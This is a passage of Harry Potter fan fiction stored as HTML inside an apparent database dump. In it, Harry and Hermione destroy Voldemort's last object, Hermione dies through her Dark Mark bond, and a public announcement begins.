style="text-indent:.5in">Harry blinked. &#8220;What if we don&#8217;t get out\nbefore the full moon is over?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione winced and said, &#8220;I&#8217;d rather not\nthink about it. Let&#8217;s go.&#8221; Without another word she sprinted down the left\nfork. Harry watched her disappear around a corner before hurrying in the\nopposite direction.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry found this maze quite similar to the one\nfeatured in the third task of the Triwizard\nTournament, except that the paths were lined not by hedges but by stone walls\nthat reached the ceiling, and the obstacles he had to battle through were much\nmore difficult. He had to pass a crowd of real Dementors\nrather than boggarts. Twice he almost inhaled nearly\ninvisible poisons hovering in the air, noticing them just in time to hold his\nbreath as he ran through the mist. Then there was the freezing darkness and the\nsheer immensity of this labyrinth that made Harry sure he&#8217;d been running for\nhours.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Having no idea where he was going, and\nconvinced that the full moon had ended by now and that they were stuck in this\ndungeon for a month with no food or any means of escape, Harry was about to\ngive up and turn back to the entrance of the maze when he heard Hermione&#8217;s\ndeafening voice echo through the stone passageways. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;HARRY! Harry, I&#8217;ve found&#8230; something! But I\nneed your help, come quickly!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ears ringing, Harry jogged towards her voice.\nHe tried path after path, but none seemed to lead in the right direction. All\nthe while he was trying very hard not to think about what on earth she could\npossibly need his help with. Finally he found a very long, straight course with\nno noticeable turns or forks. He hurtled along it; Hermione&#8217;s voice was getting\nlouder and louder&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And at last, this path opened up into a\nlarger, enclosed clearing. Hermione stood in the centre, leaning upon a sort of\nstone altar bedecked in silver and green cloth. Hermione pointed her wand at\nher throat and whispered, &#8220;<i style="mso-bidi-font-style:normal">Quietus</i>.&#8221;\nHer left hand sported a nasty burn and a collection of new cuts accented her\nneck and arms, but her face was practically glowing with excitement.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked on the altar and saw a silver\ncube, identical to the one from which they&#8217;d gotten the rune and the ring. He\ndidn&#8217;t waste any time&#8212; &#8220;Open up,&#8221; he said hastily in Parseltongue.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The box cracked open. Hermione pulled the\nhalves apart and looked inside. There it was&#8212; a shiny greyish-black sphere,\nsmall enough to fit in Harry&#8217;s hand. Harry picked it up&#8212; it was hard, smooth,\nand piercingly cold. Heart pounding, he set it on the ground and took careful\naim with his wand. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:\nnormal">Avada</i><i style="mso-bidi-font-style:normal"> Kedavra</i>!&#8221; he shouted. The green light that blasted from\nhis wand briefly illuminated the Orb before disappearing altogether. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Did it work?&#8221; asked Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I don&#8217;t think so,&#8221; Harry said slowly. &#8220;From\nwhat I read about the spell, the object has to be destroyed completely. Maybe\nif we did it at the same time&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They stood shoulder to shoulder, and in unison\nthey raised their wands and yelled the killing curse. But the Orb remained\nperfectly intact.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Wait a moment,&#8221; said Hermione. She darted\nforward, picked up the Orb, and examined it at arm&#8217;s length. &#8220;We don&#8217;t need\nmagic to break this. Look closely&#8212; it&#8217;s made of hematite.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She handed it to Harry, who stared blankly at\nit. &#8220;Hematite,&#8221; Hermione explained patiently, &#8220;is a kind of stone. It&#8217;s very\nstrong, but it&#8217;s also quite brittle. All you have to do is throw it, hard as\nyou can, at the wall or floor. Go on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked at Hermione, then at the sphere\nin his hand, then back at Hermione. &#8220;No,&#8221; he said quietly but firmly. He placed\nthe Orb back into her hand. &#8220;You do it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, come on, Harry. You&#8217;re fated to be the\none to kill Voldemort once and for all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Neither you nor I believe\nin all that <i style="mso-bidi-font-style:normal">destiny</i> rubbish, and\nyou know it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;After all Voldemort&#8217;s\ndone to you, in your life, it&#8217;s only fitting that you get the honour of being the\none to destroy him forever.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Listen to me,&#8221; said Harry. &#8220;I&#8217;m already\nfamous. I have been my entire life. I&#8217;ve been admired and respected since I was\na baby, and I did nothing to deserve it. Absolutely <i style="mso-bidi-font-style:normal">nothing</i>. But you&#8212; you&#8217;ve always\nbeen overlooked, ever since we were at Hogwarts. Even since we&#8217;ve been famous\nas Aurors, everybody&#8217;s so\nused to thinking of me as the hero that they&#8217;ve forgotten about you. But you&#8217;re\nfar more deserving, and long overdue for all this glory that&#8217;s been piled on me\nall these years.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s lip was trembling slightly as she\nweakly smiled her appreciation at him, but she said, &#8220;I don&#8217;t need that&#8230; I\ndon&#8217;t need to be famous&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And do you think I do?&#8221; Harry continued\nstubbornly. &#8220;When we get home, I&#8217;ll see to it that everybody knows it was <i style="mso-bidi-font-style:normal">you</i> who defeated Voldemort. Not me&#8212; <i style="mso-bidi-font-style:normal">you</i>.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione looked as though she was going to say\nsomething, but instead she bit her lip and tossed the Orb lightly from her\nburnt left hand to her right. Without further hesitation she raised the sphere and\nthrew it forcefully against the cold stone wall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It shattered upon contact. Thousands of tiny\nfragments of smooth, dark stone scattered and bounced across the floor. Harry&#8217;s\nscar gave a final burst of pain as a strong wind filled the room, whipping his\nand Hermione&#8217;s hair around their heads and across their faces. When the wind\nsubsided Harry brushed a lock of obsidian-coloured hair from his eyes and\nlooked around, taking in the sight. Relief and triumph seemed to permeate his\nvery soul. Voldemort was gone&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Something drew his eyes back to the altar. He\nlooked inside the box a second time, and saw something he hadn&#8217;t noticed\nbefore. It was a piece of parchment, ripped at the top, written in Latin. He\npocketed it for Remus to translate later. Exhausted, he leant against the altar\nand closed his eyes&#8212; but Hermione grabbed his arm and said, &#8220;Not now&#8212; we&#8217;re\nrunning out of time. Let&#8217;s go!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He had completely forgotten that they had a\ntime limit. His heart started pounding again as they backtracked along Hermione&#8217;s\npath through the maze, racing towards each fountain of green sparks, hurdling\ndead trolls and evading the various Dark obstacles in their path. Finally they\nreached the sand-filled room and continued on to the corridor through which\nthey had entered. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">They froze in their tracks&#8212; the circle of\nlight was gone. &#8220;Oh, I don&#8217;t believe this,&#8221; Hermione moaned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How do we get out of here?&#8221; Harry asked,\nmainly talking to himself. &#8220;How long have we been in here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;A few hours,&#8221; Hermione said frantically, &#8220;and\nthe moon won&#8217;t be out for much longer. Maybe it&#8217;s already gone&#8230; maybe that&#8217;s\nwhy the ring of light is gone&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The <i style="mso-bidi-font-style:normal">ring</i>\nof light&#8230; something clicked in Harry&#8217;s mind. &#8220;The <i style="mso-bidi-font-style:\nnormal">rings</i>,&#8221; he said. &#8220;Take them off!&#8221; For Harry, it took a solid minute\nof forceful tugging, and finally a very random but clever charm on Hermione&#8217;s\npart that allowed the ring to leave his finger; Hermione bent her hand toward\nthe ground and the silver band slid easily off. Immediately the Portkey feeling returned, and before they knew it they fell face first into a snowbank.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hardly daring to believe that they had made it\nback safely, Harry looked up. Through the branches and falling snow above him,\nhe could see the full moon fade into a lightening sky accented by the blood-red\nand melon-orange of the sunrise.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;That was close,&#8221; he remarked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Very close,&#8221; Hermione agreed, nonchalantly\nwiping snow from her wand. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stood, trying to savour the silence. But\nthe peace he&#8217;d felt down in the chamber had left him. Uneasy qualms disrupted\nthe tranquillity of his stomach and nerves. <i style="mso-bidi-font-style:normal">It\nhad been too easy</i>, he thought. Even though he knew that what they&#8217;d done\nwould be impossible for anyone else, because only a Parseltongue\ncould get to the Orb, it had come easy to him. It wasn&#8217;t right. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">His worries were not unfounded&#8212; they were\nspawned by his experience of past battles with Voldemort and his Death Eaters.\nSomething was missing from this most recent mission of theirs. It had broken\nthe rule that Harry had learned about the hard way, six years ago on Christmas.\nIt was a rule that had defined his undesirable job and his miserable life&#8212; <i style="mso-bidi-font-style:normal">victory does not come unaccompanied by loss</i>.\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Yet here they were, more or less unscathed,\nstanding side by side and safe in each other&#8217;s company, victorious as always.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Yet here was Harry Potter, still alive after\nalmost twenty-five years, his nemesis Lord Voldemort finally vanquished, and\nhaving successfully exacted revenge fro many who had been lost, his life&#8217;s\nmission finally complete.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Yet here was Hermione Granger, looking forward\nto a happy future and a peaceful teaching career, the triumph plainly visible\nin her bright amber eyes&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">Amber eyes?</i><i style="mso-bidi-font-style:\nnormal">\nBut Hermione&#8217;s were brown&#8230;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione,&#8221; Harry said suddenly, &#8220;your eyes&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What about them?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;They&#8217;re yellow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione laughed out loud. &#8220;Sounds like\nsomeone got hit by a Colour-blind Curse.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m not kidding, and I&#8217;m not colour-blind,&#8221;\nHarry said indignantly. &#8220;What about me&#8212; what colour are my eyes?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Still grinning, she pulled Harry&#8217;s face a\nlittle closer than was necessary and pretended to examine his eyes intently.\n&#8220;Still as gorgeously green as ever.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared at her. At the moment she shared\nneither her eyes&#8217; unusual behaviour nor her good mood. Hermione&#8217;s smile faded a\nlittle. &#8220;I know you don&#8217;t like showing any emotion,&#8221; she said, &#8220;but you don&#8217;t\nhave to act so depressed. You&#8217;re depressing <i style="mso-bidi-font-style:normal">me</i>.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t take his eyes off of hers, which\nwere now pale maize.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione frowned outright. &#8220;You&#8217;re being\nserious, aren&#8217;t you? Well, you&#8217;re not the one to joke, that&#8217;s for sure&#8230;&#8221; She stooped\ndown and rummaged in her bag for something. When she straightened back up again\nshe was holding a cracked compact mirror, which she flipped open and used to\nexamine her eyes herself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A puzzled expression shadowed her face.\n&#8220;Bizarre,&#8221; she said, still staring at her reflection. She snapped the mirror\nshut and looked at Harry. &#8220;But yours are normal&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s symptom sounded vaguely familiar to\nHarry, as though it was something he had learned at\nHogwarts but had been forgotten over the years. He concentrated, trying to\nremember what it was. A memory of a spell floated to the surface of his mind.\nWhen he identified it, a wave of cold dread washed over him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His face must have shown his shock, because\nHermione asked, &#8220;What? What&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Suffering fuck&#8230;&#8221; he murmured for the second\ntime that night.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">What?</i>\nTell me!&#8221; Hermione said impatiently.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared at her for a solid minute before\nfinally speaking. &#8220;It&#8217;s an ancient Dark spell&#8212; I read it in <u>Spells for the\nElite and Evil</u>&#8212; same book where I found the House of the Soul Charm.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;It&#8217;s when two people willingly create a\nmagical bond between them, which links them in life and death. When the person\nwho cast the spell dies, the other&#8217;s eyes begin to gradually lighten.&#8221; Harry\nwas now fighting valiantly to control his voice. &#8220;When the person&#8217;s eyes reach\ntransparency, he or she dies.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione froze. She seemed uncertain as to\nwhether she should believe him. &#8220;Are&#8212; are you sure?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Do you think I&#8217;d joke about something like\nthis, Hermione? I&#8217;m serious&#8230; oh, God&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Her eyes, now the colour of straw, looked\npurely disbelieving. Somehow managing to keep her voice steady, she said, &#8220;But\nyou said the two people have to <i style="mso-bidi-font-style:normal">willingly</i>\naccept the spell. I&#8217;ve never done anything like that, you know I never would.\nYou <i style="mso-bidi-font-style:normal">know</i> I&#8217;ve never done a Dark spell\non a person in my life, let alone let someone put one on <i style="mso-bidi-font-style:\nnormal">me</i>. It must be something else&#8230; how could I be under a Dark spell?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There it was&#8212; the voice of reason that had\nkept Harry from falling apart more than once in his life. &#8220;I don&#8217;t know,&#8221; he\nanswered her. He didn&#8217;t have the heart to argue his opinion further. But he\nfelt sure that he was right&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He could see Hermione, staring off into space,\nwas racking her brain for an alternate spell that had this same symptom. There\nweren&#8217;t many spells, Dark or not, that she didn&#8217;t know. Any that escaped her\nmind had to be particularly ancient, rare, or dangerous. The certain one Harry\nwas sure that afflicted her happened to have all three of these qualities.\nNever in his life had Harry hoped more that he was wrong.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And finally, in defeated acceptance, Hermione\nagreed with him. Throwing her arms around his neck, she buried her face in his\nshoulder and burst into tears. </p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i style="mso-bidi-font-style:normal">See</i>? Harry told\nhimself. <i style="mso-bidi-font-style:normal">This is exactly why you had to\nlearn to get rid of your emotions. If you&#8217;d let yourself get close to Hermione,\nyou&#8217;d be devastated right now. These past six years are paying off right now</i>&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But that thought didn&#8217;t stop his heart from\nbeating as unnaturally loudly and quickly as a snare drum. That thought didn&#8217;t\nstop his throat from feeling as narrow as his wand. That thought didn&#8217;t get rid\nof the sensation that a particularly hyperactive Bludger\nwas fighting to escape from his stomach.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And then a new voice sounded in his ear,\nstrong and clear from the back of his mind; <i style="mso-bidi-font-style:normal">Your\nheart can&#8217;t lie&#8230; love is not a weakness</i>.. The\nvoice echoed in his head in rhythm with the blood pounding in his ears. <i style="mso-bidi-font-style:normal">Your heart can&#8217;t lie&#8230;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">The dam burst open in the river that was\nHarry&#8217;s mind, and he was overwhelmed by the flood of emotions that had been\nbuilding up for years. He returned Hermione&#8217;s embrace, holding her as tightly\nas though he was trying to squeeze the death out of her, frantically planting\nkisses on the back of her neck and head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Regaining his composure, he pried her from his\nsodden shoulder. Still supporting her in his arms, he gently lowered her onto\nhis lap as he sat on the log by the fire. He hushed her sobs and ran his\nfingers soothingly through her hair in an effort to calm and comfort her&#8212; which he was sure would be impossible, seeing as he was\ndesperate to be calmed and comforted himself. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Nevertheless, he held her close as he talked\nto her in what he hoped was a soft, relaxing voice. &#8220;I&#8217;ve been wrong all these\nyears,&#8221; he told her. &#8220;And you were right about me all along&#8230; I just can&#8217;t\nbelieve it took me so long to realise&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione reached out an arm and drew his head\nand lips down onto her own. Harry returned the long, gentle kiss, his heart\nthreatening to leap out of his chest. The quiet passion now coursing between\nthem was unlike anything he&#8217;d ever imagined; it was what he had been waiting\nfor all his life, and yet he knew that it was the last time he could experience\nit. He pulled her back up so that her head rested on his shoulder once again&#8212;\nbut by now she was beyond tears.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She told him, &#8220;Don&#8217;t say anything&#8212; you don&#8217;t\nneed to.&#8221; She gave a small smile that completely melted Harry&#8217;s aching heart.\n&#8220;There&#8217;s no one on earth, in heaven, or in hell that I&#8217;d rather be with right\nnow. You&#8217;ve made me so happy, Harry. Just live. I can wait for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There was nothing Harry could do but hold her,\nso that&#8217;s what he did. He held her close and they communicated in silence, as\nthey&#8217;d always been able to do. Their eyes did the talking&#8212; his green and hers\nwhite as the snow falling around them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As the minutes passed, Harry wished each one\nwould never end. The thirteen years that he had known Hermione Granger now\nseemed like a millisecond. He prayed for another millisecond to spend with her.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Questions were screaming in his head: <i style="mso-bidi-font-style:normal">Why was this happening? Why her?</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">He closed his eyes&#8212; he couldn&#8217;t bear to watch\nhers move steadily towards a lethal clear. When he finally opened them again,\nshe was gone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Six years&#8217; worth of repressed anger and misery\ncondensed into a single tear, which fell from his eye and onto the lifeless\nbody of the woman he loved.</p>\n\n\n\n\n\n\n'),
	(64, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">- part\nV: Harry &#8211;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Albus\nDumbledore, Remus Lupin, and Arthur Weasley, the\nMinister of Magic, were sitting silently in armchairs in the private lounge of\nthe main Auror office, waiting for their best Auror team to return. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The doorknob turned. The creak as the door\nslowly opened was almost deafening, coming in sharp contrast to the intense\nsilence preceding it. The greatest Auror team ever entered the room, one in the\narms of the other. The Preservation charm on her body created the illusion that\nshe was sleeping, but her glassy eyes made it unmistakably clear that she was\nno longer alive.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry laid her on the couch and turned to\nleave again, but Mr Weasley stopped him. &#8220;Harry,\nwait. We need to know what happened. Have a seat.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry did not sit, nor did he answer Mr Weasley. Dumbledore was the next to speak. &#8220;I expected\nthis,&#8221; he said, looking glumly at the lifeless body on the sofa. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared at him. &#8220;Why?&#8221; he asked, in a\nvoice not his own.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Very late at night, two days ago, all the\nDeath Eaters in Azkaban suddenly died,&#8221; explained Dumbledore. &#8220;We assumed this\nwas because you were successful in your mission. Am I right, Harry?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes,&#8221; he said shortly. &#8220;You say <i style="mso-bidi-font-style:normal">all</i> the Death Eaters died?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Everyone with a Dark Mark on their arm,&#8221;\nDumbledore said slowly. He handed Harry a stack of photographs. Harry looked at\nthe top one&#8212; in the picture Dumbledore knelt down next to an unmoving Walden Macnair on the floor of an Azkaban cell and pulled up Macnair&#8217;s eyelids. The corpse&#8217;s eyes were blank and\ntransparent. Harry quickly moved on to the next picture, but they were all\nsimilar. All the eyes were entirely clear. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">So that&#8217;s why she died. All because of an old\ntattoo on her arm that meant nothing, absolutely nothing, except that she had\nbeen willing to make that sacrifice years ago for the sake of the Light side.\nHer selflessness had saved Hogwarts, a lot of lives, and, for all intents and\npurposes, all of wizarding Europe. And that same\nselflessness had now become her downfall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">That was just like Voldemort&#8212; if he had to\nfall, he&#8217;d take as many as he could down with him. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt like kicking something, so for the\nsake of the three men who now stood around him, watching him, he walked over to\nthe other side of the room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Remus got slowly to his feet and followed him.\nHe looked more ill and exhausted than Harry had ever seen him; in his hair\nthere was no trace of the light brown hues of his youth. &#8220;Harry,&#8221; he said in a\ntired, raspy voice. &#8220;I know how you&#8217;re feeling.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry said nothing, so Remus continued, &#8220;The\ntruth hurts, no doubt about that, it always has. But in the end, it&#8217;s all for\nthe best. Look at yourself&#8212; you&#8217;re a changed man. You&#8217;ve finally accepted who\nyou are&#8212; &#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Suddenly, Harry remembered the parchment that\nhad been kept with the Orb&#8212; the other half of the prophecy Remus had given him\nbefore they left for Norway. He pulled the\ncrumpled sheet from his pocket, smoothed it out on the edge of a coffee table,\nand handed it to Remus, who took on an interested expression when he noticed\nthe ripped edge. He read out loud,</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center">&#8220;The hope of all\nthose that know them<br>\nTip their rosy feathers with gold<br>\nSent to rid the others of that<br>\nWith which they cannot live in peace.<br>\nAs known since my time, since the days of Merlin,<br>\nComplete is their final quest<br>\nThough they started like sister and brother,<br>\nThey end their journey as nestmates.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had never been a superstitious person.\nHe and Hermione had both thought that predictions and prophecies and horoscopes\nand all things fortune-telling were phoney and ridiculous. But nevertheless,\nthe words Remus read sent a chill up Harry&#8217;s spine. After all, this was not a\nprophecy by Sibyll Trelawney, but by Merlin himself. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;See?&#8221; said Remus quietly. &#8220;You understand\nnow, I can tell you do. You&#8217;ve always loved her, and she you. You were meant to\nbe, too. You were blessed to have known her for as long as you did. As I said\nbefore, your heart can&#8217;t lie&#8212; &#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He was interrupted by Mr Weasley,\nwho placed his hand on Harry&#8217;s shoulder. &#8220;Harry,&#8221; said Mr Weasley,\n&#8220;I&#8217;m very sorry for your loss. I know she was like a sister to you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;More than that&#8230;&#8221; Harry muttered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Pardon?&#8221; said Mr Weasley.\n&#8220;Didn&#8217;t catch that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nothing&#8212; never\nmind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Just remember, she&#8217;s with Ron now.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I know she is, Mr Weasley,&#8221;\nsaid Harry dejectedly. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Right then,&#8221; Mr Weasley\nsaid concernedly. &#8220;Well, we&#8217;ve got to move on. Listen, Harry&#8212; I promised a\npress conference at noon today. I&#8217;d like\nyou to come.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Not having enough energy to protest, Harry\nnodded wearily.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Remus, I suggest you go home and get some\nrest,&#8221; said Dumbledore. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I won&#8217;t say no to that,&#8221; said Remus with a\nsigh. He turned back toward Harry. &#8220;Well done, Harry. Sirius and James would\nmost definitely have been proud.&#8221; With that, he Disapparated.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mr Weasley had left\nto prepare for the conference. Dumbledore took both halves of the prophecy from\nHarry and quickly read through them. He had a pensive look on his face, but\nmercifully didn&#8217;t ask any questions or try to talk about Hermione. Instead he\nsaid, &#8220;I daresay one lecture about true love is enough for one day.&#8221; He winked\nat Harry, who smiled weakly back. Harry was surprised by this; he&#8217;d felt sure\nhe would never smile again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore now crossed the room to where\nHermione lay. He lifted one of her eyelids to see that her eyes had turned\nclear. Harry said suddenly, &#8220;She didn&#8217;t deserve to die that way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore raised his eyebrows. &#8220;Die what\nway?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Like a Death Eater.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore stared intently at Harry for a\nminute before saying, &#8220;I don&#8217;t think anybody knew that the Dark Mark held such\npowerful magic. It&#8217;s just like Voldemort to use that spell&#8212; he figured if he\nhad to die, he&#8217;d take as many down with him as he could. The situation was most\nunfortunate. We owe a lot to her&#8212; &#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;And I&#8217;m going to make sure she gets it,&#8221;\nHarry cut in.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry&#8230; when she died, she had everything she\nwanted. She told Remus and me, before you left for Norway, that she would\nbe happy only when she knew for sure that you loved her. Like us, she suspected\nthat you did, but she wanted you to say it for yourself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I did,&#8221; Harry said quickly, his voice\ncracking.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;There you are, then. She died happy&#8212; what\nmore could a person ask for? And never forget what I told you, way back in your\nfirst year at Hogwarts. To the well-organised mind, death is but the next great\nadventure.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt better than he had at any time in\nthe past two days, but he was still aching with a powerful sort of sadness. He\nwas not to be consoled, now that he knew he had kept her from being happy for\nyears, because of his own narrow-minded stupidity. And now, she was gone\nforever&#8212; it had happened so suddenly. What a fool he&#8217;d been&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His thoughts were interrupted when a young\nwizard popped his head through the door and said, &#8220;Ay! Come on! The Minister&#8217;s\nwaiting for you two!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry followed Dumbledore and the other wizard\nout of the Auror office and into the street. When he got outside he stopped in\nhis tracks, gawping at the sight that met his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">An elevated stage had been erected in the\nwidest, most spacious part of Diagon Alley&#8212; which\nhappened to be the steps of Gringotts Wizarding Bank. An enormous British flag hung over the\nstage, magically flapping in the windless air. And surrounding the stage on all\nsides, stretching as far as the eye could see, was a sea of people, all talking\nexcitedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Careful to keep his head down and fringe\ncovering his scar, Harry slowly made his way through the throng to join\nDumbledore and Mr Weasley up on the platform, and he\nquickly retreated into the shadows at the back of the stage. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<i style="mso-bidi-font-style:normal">There</i>\nyou are,&#8221; said Mr Weasley. &#8220;Well, now we can start&#8212;\nand we&#8217;d better do so before somebody starts a riot. <i style="mso-bidi-font-style:\nnormal">Sonorous</i>,&#8221; he said, pointing his wand at his neck.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Mr Weasley cleared\nhis throat to get everybody&#8217;s attention. This had no effect whatsoever on the\nbabbling crowd, but, undaunted, he started to speak. &#8220;Today,&#8221; he said, &#8220;is a\nwonderful day for all witches and wizards&#8212; and Muggles,\ntoo, of course,&#8221; he added warmly. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">The crowd became relatively quiet,\ncollectively breathless with anticipation. Mr Weasley\ncontinued, &#8220;You-Know-Who has been destroyed forever.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Diagon Alley might as\nwell have exploded. The screams and cheers and stamping and clapping shook the\nmarble pillars of Gringotts. An assortment of\ncolourful sparks and fireworks shot into the air in various places above the\nhorde of wildly applauding witches and wizards. The noise was not to be drowned\nout by even the Minister&#8217;s amplified voice, so Mr Weasley\nhad to wait several minutes before he could be heard. &#8220;You-Know-Who was finally\nkilled by our best Auror team, Harry Potter and Hermione Granger, both of whom\nwill be honoured with the Order of Merlin, First Class.&#8221; He paused a moment\nbefore saying, &#8220;I now give you Mr. Albus Dumbledore\nfor a more serious announcement.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dumbledore approached the front and centre of\nthe stage. Like Mr Weasley, he cleared his throat;\nunlike for 